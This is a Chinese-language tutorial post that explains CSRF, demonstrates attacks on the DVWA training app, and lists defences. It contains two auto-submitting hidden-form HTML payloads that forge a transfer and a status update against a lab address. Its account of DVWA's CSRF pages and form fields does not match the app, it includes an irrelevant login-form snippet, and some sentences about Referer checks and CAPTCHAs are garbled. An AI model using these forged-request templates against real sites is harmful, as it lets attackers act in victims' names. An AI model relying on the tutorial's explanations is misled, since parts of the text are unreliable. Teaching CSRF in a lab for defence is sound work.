您的位置:

DVWA CSRF攻击分析

一、什么是CSRF攻击

跨站请求伪造(Cross-site request forgery,CSRF),也被称为一次性攻击,利用Web应用程序已经经过身份验证的用户的在线会话。一个恶意网站通过HTML、JavaScript等方法在用户的浏览器端构造恶意请求,从而引导用户完成一些他并不知情的操作,例如在银行网站上以他的身份进行转账操作。

为了防范CSRF攻击,应用程序必须采取措施来保证每个请求都是用户的意愿并避免被伪造。常见的措施包括Token验证、Referer验证、验证码等。

二、DVWA简介

DVWA是一款用于安全测试的PHP/MySQL web应用程序。DVWA为“Damn Vulnerable Web Application”的缩写,意思是“超级容易被攻击的Web应用程序”,是一个合法的漏洞测评环境。

DVWA提供了包括SQL注入、XSS、CSRF、文件包含、文件上传等多个漏洞测试,在安装DVWA后,就可以对它进行测试,帮助用户了解这些漏洞的作用以及如何防范。

三、DVWA CSRF攻击实验

在DVWA中,包含了一部分CSRF攻击的示例。我们可以通过攻击它们来了解CSRF攻击的本质及其防护方案。

1.设置DVWA

先访问DVWA,用管理员账户登陆。DVWA的攻击等级有高、中、低,这里选择中等难度。

<input name="username" class="loginInput" id="username" tabindex="1" 
type="text" value="" size="20" autocorrect="off" autocapitalize="off" /> 
<input name="password" class="loginInput" id="password" tabindex="2" 
type="password" size="20" autocorrect="off" autocapitalize="off" /> 

2.CSRF攻击实例1 - 转账操作

找到“CSRF防御 - 获取cookies”的页面,获取cookies字符串,然后拼接转账攻击的HTML文件。攻击文件通过iframe嵌入到恶意网站中。大多数web浏览器对iframe有限制,不能通过iframe直接更改顶层浏览器的URL,为了规避此限制,攻击者通常会使用JavaScript提交表单。而此时,由于DVWA没有加入任何CSRF防护机制,所以我们可以构造如下的表单:

<html>
  <head>
  </head>
  <body>
    <form action="http://192.168.111.129/vulnerabilities/csrf/" method="POST">
      <input type="hidden" name="voucher" value="4fc908000001">
      <input type="hidden" name="transferAmount" value="10">
      <input type="submit" value="转帐">
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html> 

3.CSRF攻击实例2 - 更新状态

找到“CSRF防御 - 强制验证”页面,开发一个HTML文件提交攻击请求:更新状态。可以找到我们需要的用户和验证码,通过构造如下表单提交请求,可以成功更新状态:

<html>
  <head>
  </head>
  <body>
    <form action="http://192.168.111.129/vulnerabilities/csrf/" method="POST">
      <input type="hidden" name="form" value="update" />
      <input type="hidden" name="id" value="7" />
      <input type="hidden" name="status" value="Enrolled" />
      <input type="hidden" name="vtoken" value="9YX4C8BA731E8637A6BAFF7C033DA427" />
      <input type="submit" value="Save Details" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html> 

四、如何预防CSRF攻击

1.使用Token验证

使用Token验证是当前最常用的防御CSRF攻击的方法。Token是Web应用程序为了限制客户端请求的来源而引入的一种验证方式。Token时刻都在变化,因此一个攻击者无法准确地构造合适的请求。

Token验证的方式大致有如下两种:

  1. 将Token放入URL中的每个请求。可以是用相当的复杂性和义务处理Token的逻辑。
  2. 将Token放在HTTP协议的头部,每个请求都带有Token。适合复杂场景和RESTful API。

2.使用Referer验证

但是,有一些客户端显示如何突破Referer来进行CSRF攻击,使用Referer验证是在服务器端验证HTTP Referer信息的合法性。Referer是一个用于标识HTTP请求来源如何到达现在请求的一部分信息。使用Referer验证,可以在一定程度上避免CSRF攻击。但需要注意的是,一些浏览器会禁用Referer头部。在这种情况下,仅依赖专有Referer是不太可靠的,而且可能会导致一些诸如图片、文件等资源的问题。

3.使用验证码

特别是在用户和网站交互方式不是很频繁的情况下,可以使用验证码。使用400回复验证码,可以保护用户提交的数据和请求的情况,更好地保护用户数据。

最后

CSRF攻击的危害是很大的,攻击者可以借助这种攻击手段突破Web应用程序的安全限制,实现很多恶意操作。为了更好的保护用户数据和Web应用程序的安全,我们需要在编写Web应用程序前考虑开发相关的安全机制,并且在运行应用程序时随时检查和更新安全事项。